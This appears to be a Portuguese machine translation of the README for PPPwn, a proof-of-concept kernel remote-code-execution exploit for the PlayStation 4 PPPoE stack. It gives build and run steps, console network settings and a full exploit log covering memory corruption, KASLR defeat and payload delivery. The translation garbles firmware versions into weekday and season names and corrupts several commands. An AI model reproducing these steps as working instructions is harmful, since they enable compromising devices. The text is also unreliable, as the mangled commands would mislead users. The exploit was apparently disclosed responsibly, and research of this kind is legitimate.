PPPwn é um exploit de execução remota de código do kernel para PlayStation 4 até FW 11.00. Esta é uma exploração de prova de conceito para CVE-2006-4304 que foi relatada de forma responsável à PlayStation.
As versões suportadas são:
EF 7,00 / 7,01 / 7,02
FW 7,50 / 7,51 / 7,55
EF 8,00 / 8,01 / 8,03
FW 8,50 / 8,52
Segunda-Feira 9h00
Exercício 9.03 / 9.04
FW 9,50 / 9,51 / 9,60
Inverno 10.00 / 10.01
FW 10,50 / 10,70 / 10,71
Segunda-Feira 11h00
mais podem ser adicionados (PRs são bem-vindos)
A exploração apenas imprime PPPwned
no seu PS4 como uma prova de conceito. Para lançar o Mira ou habilitadores de homebrew semelhantes, a carga útil stage2.bin
precisa ser adaptada.
Um computador com uma porta Ethernet
Adaptador USB também funciona
Cabo Ethernet
Linux
Você pode usar o VirtualBox para criar uma VM Linux com Bridged Adapter
como adaptador de rede para usar a porta Ethernet na VM.
Python3 e gcc instalados
No seu computador, clone o repositório:
git clone --recursivo https://github.com/TheOfficialFloW/PPPwn
Mude o diretório para o repositório clonado:
cd PPPwn
Instale os requisitos:
sudo pip install -r requisitos.txt
Compile as cargas úteis:
make -C stage1 FW = 1100 limpo && make -C stage1 FW = 1100 make -C stage2 FW = 1100 limpo && make -C stage2 FW = 1100
Para outros firmwares, por exemplo, FW 9.00, passe FW=900
.
NÃO EXECUTE o exploit ainda (não pressione Enter ainda), mas prepare este comando no seu prompt (veja ifconfig
para a interface correta):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Para outros firmwares, por exemplo, FW 9.00, passe --fw=900
.
No seu PS4:
Vá para Settings
e depois Network
Selecione Set Up Internet connection
e escolha Use a LAN Cable
Escolha Configuração Custom
e escolha PPPoE
para IP Address Settings
Digite qualquer coisa para PPPoE User ID
e PPPoE Password
Escolha Automatic
para DNS Settings
e MTU Settings
Escolha Do Not Use
para Proxy Server
Agora, pressione simultaneamente o botão 'X' em seu controlador em Test Internet Connection
e 'Enter' em seu teclado (no computador você tem seu script Python pronto para ser executado).
SEMPRE espere que o console mostre a mensagem "Não é possível conectar à rede: (NW-31274-7)" antes de tentar esta injeção PPPOE novamente.
Se a exploração falhar ou o PS4 travar, você pode pular a configuração da Internet e simplesmente clicar em Test Internet Connection
. Mate o script pppwn.py
e execute-o novamente no seu computador, e a seguir clique em Test Internet Connection
no seu PS4: sempre simultaneamente.
Se a exploração funcionar, você deverá ver uma saída semelhante à abaixo e deverá ver Cannot connect to network.
seguido por PPPwned
impresso em seu PS4, ou vice-versa.
[+] PPPwn - PlayStation 4 PPPoE RCE por theflow [+] argumentos: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] ESTÁGIO 0: Inicialização [*] Aguardando PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC alvo: xx:xx:xx:xx:xx:xx [+] Fonte MAC: 07:ba:be:34:d6:ab [+] Comprimento do cookie AC: 0x4e0 [*] Enviando PADO... [*] Aguardando PADR... [*] Enviando PADS... [*] Aguardando solicitação de configuração do LCP... [*] Enviando ACK de configuração do LCP... [*] Enviando solicitação de configuração do LCP... [*] Aguardando ACK de configuração do LCP... [*] Aguardando solicitação de configuração IPCP... [*] Enviando IPCP configura NAK... [*] Aguardando solicitação de configuração IPCP... [*] Enviando ACK de configuração IPCP... [*] Enviando solicitação de configuração IPCP... [*] Aguardando ACK de configuração IPCP... [*] Aguardando a interface ficar pronta... [+] IPv6 alvo: fe80::2d9:d1ff:febc:83e4 [+] Limpeza de pilha...pronto [+] ESTÁGIO 1: Corrupção de memória [+] Fixação na CPU 0...concluído [*] Enviando solicitação de configuração de LCP maliciosa... [*] Aguardando solicitação de configuração do LCP... [*] Enviando ACK de configuração do LCP... [*] Enviando solicitação de configuração do LCP... [*] Aguardando ACK de configuração do LCP... [*] Aguardando solicitação de configuração IPCP... [*] Enviando IPCP configura NAK... [*] Aguardando solicitação de configuração IPCP... [*] Enviando ACK de configuração IPCP... [*] Enviando solicitação de configuração IPCP... [*] Aguardando ACK de configuração IPCP... [+] Verificando objeto corrompido...encontrado fe80::0fdf:4141:4141:4141 [+] ESTÁGIO 2: derrota KASLR [*] Derrotando KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] ETAPA 3: Execução remota de código [*] Enviando solicitação de encerramento do LCP... [*] Aguardando PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC alvo: xx:xx:xx:xx:xx:xx [+] Fonte MAC: 97:df:ea:86:ff:ff [+] Comprimento do cookie AC: 0x511 [*] Enviando PADO... [*] Aguardando PADR... [*] Enviando PADS... [*] Acionando execução de código... [*] Aguardando a retomada do estágio 1... [*] Enviando PADT... [*] Aguardando PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] MAC alvo: xx:xx:xx:xx:xx:xx [+] Comprimento do cookie AC: 0x0 [*] Enviando PADO... [*] Aguardando PADR... [*] Enviando PADS... [*] Aguardando solicitação de configuração do LCP... [*] Enviando ACK de configuração do LCP... [*] Enviando solicitação de configuração do LCP... [*] Aguardando ACK de configuração do LCP... [*] Aguardando solicitação de configuração IPCP... [*] Enviando IPCP configura NAK... [*] Aguardando solicitação de configuração IPCP... [*] Enviando ACK de configuração IPCP... [*] Enviando solicitação de configuração IPCP... [*] Aguardando ACK de configuração IPCP... [+] ESTÁGIO 4: Execução arbitrária de carga útil [*] Enviando carga útil do stage2... [+] Pronto!
O código não será compilado no Apple Silicon e requer arquitetura AMD64. Existe uma solução alternativa usando o docker que criará os arquivos bin necessários. Clone este repositório em seu sistema Mac e, a partir da pasta repo, execute ./build-macarm.sh
. Isso criará os binários para PS4 FW 1100 e colocará os arquivos necessários nas pastas corretas. Para construir os binários para uma versão diferente, ou seja, 900, execute o comando como tal: ./build-macarm.sh 900
. Depois de construída, copie esta estrutura de pastas na VM Linux e execute conforme as instruções acima. Isso foi testado usando VMware Fusion 13.5.1, com VM Guest como Ubuntu 24.04 e a máquina host é MacOS 14.4.1